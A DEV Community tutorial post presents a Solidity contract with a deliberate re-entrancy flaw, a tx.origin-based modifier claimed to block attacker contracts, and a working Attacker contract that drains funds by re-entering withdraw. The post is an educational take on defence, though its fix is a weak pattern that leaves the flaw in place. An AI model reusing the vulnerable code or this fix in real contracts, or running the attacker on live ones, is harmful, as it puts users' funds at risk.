DEV Community

Rushank Savant
Rushank Savant

Posted on

Prevent External Contracts

Almost every vulnerability you see in solidity smart contracts are caused by hackers developing some attacker contract and this attacker contract then harming the vulnerable contract.
By the way, I have made a series on smart contract vulnerabilities if you find it interesting (link)

But what if there is a way by which we can know if function caller is a contract or a normal wallet address?
Then we can stop any external contract from interacting with our contract, hence saving our contract from being hacked.

Let's see how this can be achieved:

  • consider a contract vulnerable to re-entrancy (check my re-entracy blog)
  • in this case, hacker will take advantage of late balance update in state mapping, and will keep on re-entering contract using his attacker contract until all funds are drained.
  • but not if we stop external contracts to call MyContract functions. šŸ˜Ž
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.1;

contract MyContract { // this contract is vulnerable to re-entracy attack

    mapping (address => uint) balances;

    modifier noContract { // this won't allow external contracts to interact with this contract
        require(tx.origin == msg.sender, "No contracts allowed");
        _;
    }

    function deposit() external payable noContract { // using noContract 
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable noContract { // using noContract 
        uint amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Send operation failed");

        balances[msg.sender] = 0;
    }

    function getBalance() external view returns(uint balance) {
        balance = address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

We are stopping external smart contracts using noContract modifier. It verifies if function caller(msg.sender) is same as transaction initiator(tx.origin).
Wanna know more about tx.origin? Visit here

Now when some Attacker contract will try to steal funds from MyContract, transaction will fail.
Attacker contract:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.1;

interface IMyContract{
    function deposit() external payable;
    function withdraw() external payable;
}

contract Attacker {
    IMyContract myContract;

    constructor(address _myContract) payable {
        myContract = IMyContract(_myContract);
    }

    fallback() external payable {
        if (address(myContract).balance > 0) {
            myContract.withdraw();
        }
    }

    function attack() external payable {
        myContract.deposit{value: 1 ether}();
        myContract.withdraw();
    }

    function getBalance() external view returns(uint balance) {
        balance = address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)